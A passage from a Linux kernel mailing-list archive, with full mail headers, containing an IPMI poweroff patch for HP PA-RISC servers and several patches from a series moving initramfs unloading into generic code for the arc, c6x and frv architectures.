 Jff8EhyiU5zCajjVDhpgOVtX+7Tpr4rLuFiAgd5PxWQg29TJaYKH+eRj5kTinNqTZXG0gu9ml
 liM8uW332JiUo2NEhmLhLnlv79U1+M0A0hnDdkWnfV/nWW3tkQMV08E3W+KOkD1q3B/PLvktR
 Cy8dtdYWMIpTtekjziWXQyXVpd0Ru1gDEn16bgjesivfx11unl2LGD8MPKYsZ50nDgVIZxr7f
 DcTS9WD/wBKL8MGNqziJPXgomG9MTEwfLi7AMgQ0HI0vbTl71LM9jW3aRLJ8UUdqimMKdXcNX
 39eOX0GQfLM7EkWbnHnM1HM4R2G3Y3JrnotbE4x1ubDSWauZUj1sVSF0k8mr2Ke+zztRhIN0t
 2fwtbaHE2QIYaFdm/bkd1friBXvNaIcNuA/E7eDYTfPumvZ8+NoJQhBUU/OL76xSSOsF9hPx 
X-Spam-Score: 5.9 (+++++)
X-Spam-Report: Spam Filtering performed by mx.sourceforge.net.
 See http://spamassassin.org/tag/ for more details.
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (deller[at]gmx.de)
 3.6 RCVD_IN_PBL            RBL: Received via a relay in Spamhaus PBL
 [88.130.68.188 listed in zen.spamhaus.org]
 0.0 RCVD_IN_SORBS_DUL      RBL: SORBS: sent directly from dynamic IP address
 [88.130.68.188 listed in dnsbl.sorbs.net]
 1.5 RCVD_IN_SORBS_WEB      RBL: SORBS: sender is an abusable web server
 0.9 SPF_FAIL               SPF: sender does not match SPF record (fail)
 [SPF failed: Please see http://www.openspf.net/Why?s=mfrom; id=deller%40gmx.de;
 ip=172.30.20.201; r=util-malware-2.v13.lw.sourceforge.com]
X-Headers-End: 1ezp6R-00H8V7-63
X-Mailman-Approved-At: Sun, 25 Mar 2018 19:59:52 +0000
X-BeenThere: openipmi-developer@lists.sourceforge.net
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Developer list of OpenIPMI library and Linux driver
 <openipmi-developer.lists.sourceforge.net>
List-Unsubscribe: <https://lists.sourceforge.net/lists/options/openipmi-developer>, 
 <mailto:openipmi-developer-request@lists.sourceforge.net?subject=unsubscribe>
List-Archive: <http://sourceforge.net/mailarchive/forum.php?forum_name=openipmi-developer>
List-Post: <mailto:openipmi-developer@lists.sourceforge.net>
List-Help: <mailto:openipmi-developer-request@lists.sourceforge.net?subject=help>
List-Subscribe: <https://lists.sourceforge.net/lists/listinfo/openipmi-developer>, 
 <mailto:openipmi-developer-request@lists.sourceforge.net?subject=subscribe>
Errors-To: openipmi-developer-bounces@lists.sourceforge.net
Xref: news.gmane.org gmane.linux.kernel.openipmi:3577 gmane.linux.ports.parisc:28390
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.openipmi/3577>

This patch allows HP PA-RISC servers like rp3410/rp3440 and the HP C8000
workstation with an IPMI controller that predate IPMI 1.5 to use the standard
poweroff or powercycle commands.

These systems firmware don't set the chassis capability bit in the Get
Device ID, but they do implement the standard poweroff and powercycle
commands.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/char/ipmi/ipmi_poweroff.c b/drivers/char/ipmi/ipmi_poweroff.c
index 38e6af1c8e38..09f34ea370da 100644
--- a/drivers/char/ipmi/ipmi_poweroff.c
+++ b/drivers/char/ipmi/ipmi_poweroff.c
@@ -453,6 +453,13 @@ static int ipmi_dell_chassis_detect(ipmi_user_t user)
 	    ipmi_version_major <= 1 &&
 	    ipmi_version_minor < 5)
 		return 1;
+
+	/* BMC in HP C8000 can handle chassis functions too. */
+	if (IS_ENABLED(CONFIG_PARISC) &&
+	    mfg_id == 0x0b && prod_id == 0x8201 &&
+	    ipmi_version == 1)
+		return 1;
+
 	return 0;
 }
 

------------------------------------------------------------------------------
Check out the vibrant tech community on one of the world's most
engaging tech sites, Slashdot.org! http://sdm.link/slashdot

From - Thu Nov 08 21:41:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH v2 00/16] Generic infrastructure for unloading initramfs
Date: Sun, 25 Mar 2018 18:18:37 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <20180325221853.10839-1-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1522016227 4460 195.159.176.226 (25 Mar 2018 22:17:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 25 Mar 2018 22:17:07 +0000 (UTC)
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 26 00:17:02 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f0Dwj-00010r-Pf
	for glk-linux-kernel-4@m.gmane.org; Mon, 26 Mar 2018 00:17:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752154AbeCYWTG (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sun, 25 Mar 2018 18:19:06 -0400
Original-Received: from smtprelay0253.hostedemail.com ([216.40.44.253]:50193 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1751938AbeCYWTC (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 25 Mar 2018 18:19:02 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay02.hostedemail.com (Postfix) with ESMTP id 5B6EC2C79;
        Sun, 25 Mar 2018 22:19:01 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,shea@shealevy.com,:::::::::::::::::::::::::,RULES_HIT:41:355:379:541:966:973:988:989:1260:1345:1359:1381:1437:1534:1538:1567:1711:1714:1730:1747:1777:1792:1978:1981:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3865:3867:3868:3870:3871:3874:4385:5007:6261:6737:10004:10848:11026:11658:11914:12048:12533:13069:13149:13230:13311:13357:14384:14394:21080:21627:30012:30054:30062,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:20,LUA_SUMMARY:none
X-HE-Tag: hands90_318eeee3fbb23
X-Filterd-Recvd-Size: 1482
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf02.hostedemail.com (Postfix) with ESMTPA;
        Sun, 25 Mar 2018 22:19:00 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180324174458.26423-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724864 gmane.linux.ports.alpha:4855 gmane.linux.kernel.arc:3645 gmane.linux.ports.parisc:28391 gmane.linux.ports.ppc64.devel:155027 gmane.linux.ports.sh.devel:56712 gmane.linux.uml.devel:16686
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724864>

This patch series extracts out code for unloading the initramfs that
was identical across 14 architectures, and moves those architectures
to the common code path. Additionally, RISC-V is newly moved to the
common code path.

In addition to reducing duplication, this allows us to bring future
improvements (such as generalizing existing "keep initrd" command line
options) to multiple architectures at once.

v2: Mark generic free_initrd_mem __init.



From - Thu Nov 08 21:41:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH v2 04/16] arc: Use INITRAMFS_GENERIC_UNLOAD
Date: Sun, 25 Mar 2018 18:18:41 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <20180325221853.10839-5-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
 <20180325221853.10839-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1522016252 5974 195.159.176.226 (25 Mar 2018 22:17:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 25 Mar 2018 22:17:32 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 26 00:17:27 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f0Dx9-0001S2-5Y
	for glk-linux-kernel-4@m.gmane.org; Mon, 26 Mar 2018 00:17:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752459AbeCYWTb (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sun, 25 Mar 2018 18:19:31 -0400
Original-Received: from smtprelay0164.hostedemail.com ([216.40.44.164]:58632 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1752190AbeCYWTQ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 25 Mar 2018 18:19:16 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay07.hostedemail.com (Postfix) with ESMTP id 6A432181D3419;
        Sun, 25 Mar 2018 22:19:15 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::::::::::::::::::,RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1534:1540:1711:1714:1730:1747:1777:1792:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3351:3876:3877:4250:4321:4385:5007:6114:6261:6642:6737:9592:10004:10848:11026:11473:11658:11914:12048:12114:12438:12533:12555:12895:12986:13069:13311:13357:14096:14181:14384:14394:14721:21080:21627,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:20,LUA_SUMMARY:none
X-HE-Tag: note73_339c541254304
X-Filterd-Recvd-Size: 2016
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf04.hostedemail.com (Postfix) with ESMTPA;
        Sun, 25 Mar 2018 22:19:14 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180325221853.10839-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724866 gmane.linux.ports.alpha:4856 gmane.linux.kernel.arc:3646 gmane.linux.ports.parisc:28392 gmane.linux.ports.ppc64.devel:155028 gmane.linux.ports.sh.devel:56713 gmane.linux.uml.devel:16687
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724866>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/arc/Kconfig   | 1 +
 arch/arc/mm/init.c | 7 -------
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/arc/Kconfig b/arch/arc/Kconfig
index d76bf4a83740..2844ce5b910c 100644
--- a/arch/arc/Kconfig
+++ b/arch/arc/Kconfig
@@ -44,6 +44,7 @@ config ARC
 	select HAVE_GENERIC_DMA_COHERENT
 	select HAVE_KERNEL_GZIP
 	select HAVE_KERNEL_LZMA
+	select INITRAMFS_GENERIC_UNLOAD
 
 config MIGHT_HAVE_PCI
 	bool
diff --git a/arch/arc/mm/init.c b/arch/arc/mm/init.c
index ba145065c579..7bcf23ab1756 100644
--- a/arch/arc/mm/init.c
+++ b/arch/arc/mm/init.c
@@ -229,10 +229,3 @@ void __ref free_initmem(void)
 {
 	free_initmem_default(-1);
 }
-
-#ifdef CONFIG_BLK_DEV_INITRD
-void __init free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-- 
2.16.2



From - Thu Nov 08 21:41:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH v2 05/16] c6x: Use INITRAMFS_GENERIC_UNLOAD
Date: Sun, 25 Mar 2018 18:18:42 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20180325221853.10839-6-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
 <20180325221853.10839-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1522016257 6285 195.159.176.226 (25 Mar 2018 22:17:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 25 Mar 2018 22:17:37 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 26 00:17:32 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f0DxD-0001Wb-0z
	for glk-linux-kernel-4@m.gmane.org; Mon, 26 Mar 2018 00:17:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752494AbeCYWTf (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sun, 25 Mar 2018 18:19:35 -0400
Original-Received: from smtprelay0149.hostedemail.com ([216.40.44.149]:44056 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1752206AbeCYWTT (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 25 Mar 2018 18:19:19 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay03.hostedemail.com (Postfix) with ESMTP id D489E837F24A;
        Sun, 25 Mar 2018 22:19:17 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::::::::::::::::::,RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1534:1540:1711:1714:1730:1747:1777:1792:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3351:3876:3877:4250:4321:4385:5007:6114:6261:6642:6737:9592:10004:10848:11026:11473:11658:11914:12048:12114:12296:12438:12533:12555:12895:13069:13311:13357:14096:14181:14384:14394:14721:21080:21627,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:1,LUA_SUMMARY:none
X-HE-Tag: kite54_33f270127c933
X-Filterd-Recvd-Size: 2079
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf10.hostedemail.com (Postfix) with ESMTPA;
        Sun, 25 Mar 2018 22:19:16 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180325221853.10839-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724867 gmane.linux.ports.alpha:4857 gmane.linux.kernel.arc:3647 gmane.linux.ports.parisc:28393 gmane.linux.ports.ppc64.devel:155029 gmane.linux.ports.sh.devel:56714 gmane.linux.uml.devel:16688
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724867>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/c6x/Kconfig   | 1 +
 arch/c6x/mm/init.c | 7 -------
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/c6x/Kconfig b/arch/c6x/Kconfig
index c6b4dd1418b4..857f95f9a6a4 100644
--- a/arch/c6x/Kconfig
+++ b/arch/c6x/Kconfig
@@ -19,6 +19,7 @@ config C6X
 	select GENERIC_CLOCKEVENTS
 	select MODULES_USE_ELF_RELA
 	select ARCH_NO_COHERENT_DMA_MMAP
+	select INITRAMFS_GENERIC_UNLOAD
 
 config MMU
 	def_bool n
diff --git a/arch/c6x/mm/init.c b/arch/c6x/mm/init.c
index 4cc72b0d1c1d..a11cb657182a 100644
--- a/arch/c6x/mm/init.c
+++ b/arch/c6x/mm/init.c
@@ -66,13 +66,6 @@ void __init mem_init(void)
 	mem_init_print_info(NULL);
 }
 
-#ifdef CONFIG_BLK_DEV_INITRD
-void __init free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-
 void __init free_initmem(void)
 {
 	free_initmem_default(-1);
-- 
2.16.2



From - Thu Nov 08 21:41:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH v2 06/16] frv: Use INITRAMFS_GENERIC_UNLOAD
Date: Sun, 25 Mar 2018 18:18:43 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <20180325221853.10839-7-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
 <20180325221853.10839-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1522016261 6415 195.159.176.226 (25 Mar 2018 22:17:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 25 Mar 2018 22:17:41 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 26 00:17:36 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f0DxH-0001bI-Ma
	for glk-linux-kernel-4@m.gmane.org; Mon, 26 Mar 2018 00:17:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752531AbeCYWTl (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sun, 25 Mar 2018 18:19:41 -0400
Original-Received: from smtprelay0012.hostedemail.com ([216.40.44.12]:34435 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1752259AbeCYWTV (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 25 Mar 2018 18:19:21 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay01.hostedemail.com (Postfix) with ESMTP id B6E2B100E86C5;
        Sun, 25 Mar 2018 22:19:20 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::::::::::::::::::,RULES_HIT:41:69:355:379:541:800:960:966:973:988:989:1260:1345:1359:1437:1534:1541:1711:1730:1747:1777:1792:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3352:3865:4250:4321:4385:5007:6119:6261:6737:9592:10004:10848:11026:11473:11658:11914:12043:12048:12114:12296:12438:12533:12555:12683:12895:12986:13069:13311:13357:14096:14181:14384:14394:14721:21080:21627:30054,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:0,LUA_SUMMARY:none
X-HE-Tag: wall94_345fc324aa145
X-Filterd-Recvd-Size: 2216
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf09.hostedemail.com (Postfix) with ESMTPA;
        Sun, 25 Mar 2018 22:19:19 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180325221853.10839-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724868 gmane.linux.ports.alpha:4858 gmane.linux.kernel.arc:3648 gmane.linux.ports.parisc:28394 gmane.linux.ports.ppc64.devel:155030 gmane.linux.ports.sh.devel:56715 gmane.linux.uml.devel:16689
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724868>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/frv/Kconfig   |  1 +
 arch/frv/mm/init.c | 11 -----------
 2 files changed, 1 insertion(+), 11 deletions(-)

diff --git a/arch/frv/Kconfig b/arch/frv/Kconfig
index af369b05fed5..5c104b800cb1 100644
--- a/arch/frv/Kconfig
+++ b/arch/frv/Kconfig
@@ -17,6 +17,7 @@ config FRV
 	select OLD_SIGACTION
 	select HAVE_DEBUG_STACKOVERFLOW
 	select ARCH_NO_COHERENT_DMA_MMAP
+	select INITRAMFS_GENERIC_UNLOAD
 
 config CPU_BIG_ENDIAN
 	def_bool y
diff --git a/arch/frv/mm/init.c b/arch/frv/mm/init.c
index cf464100e838..345edc4dc462 100644
--- a/arch/frv/mm/init.c
+++ b/arch/frv/mm/init.c
@@ -131,14 +131,3 @@ void free_initmem(void)
 	free_initmem_default(-1);
 #endif
 } /* end free_initmem() */
-
-/*****************************************************************************/
-/*
- * free the initial ramdisk memory
- */
-#ifdef CONFIG_BLK_DEV_INITRD
-void __init free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-} /* end free_initrd_mem() */
-#endif
-- 
2.16.2



From - Thu Nov 08 21:41:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH v2 07/16] h8300: Use INITRAMFS_GENERIC_UNLOAD
Date: Sun, 25 Mar 2018 18:18:44 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20180325221853.10839-8-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
 <20180325221853.10839-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1522016266 6705 195.159.176.226 (25 Mar 2018 22:17:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 25 Mar 2018 22:17:46 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 26 00:17:41 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f0DxK-0001eM-Qk
	for glk-linux-kernel-4@m.gmane.org; Mon, 26 Mar 2018 00:17:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752555AbeCYWTn (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sun, 25 Mar 2018 18:19:43 -0400
Original-Received: from smtprelay0024.hostedemail.com ([216.40.44.24]:50222 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1752314AbeCYWT0 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 25 Mar 2018 18:19:26 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay02.hostedemail.com (Postfix) with ESMTP id 2FF7B610E;
        Sun, 25 Mar 2018 22:19:25 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::::::::::::::::::,RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1534:1540:1711:1714:1730:1747:1777:1792:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3351:3876:3877:4321:4385:5007:6114:6261:6642:6737:9592:10004:10848:11026:11473:11658:11914:12048:12114:12438:12533:12555:12895:12986:13069:13311:13357:14096:14181:14384:14394:14721:21080:21611:21627,0,RBL:error,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:,MSBL:0,DNSBL:error,Custom_rules:0:0:0,LFtime:2000,LUA_SUMMARY:none
X-HE-Tag: box60_34baf74b15c4b
X-Filterd-Recvd-Size: 2032
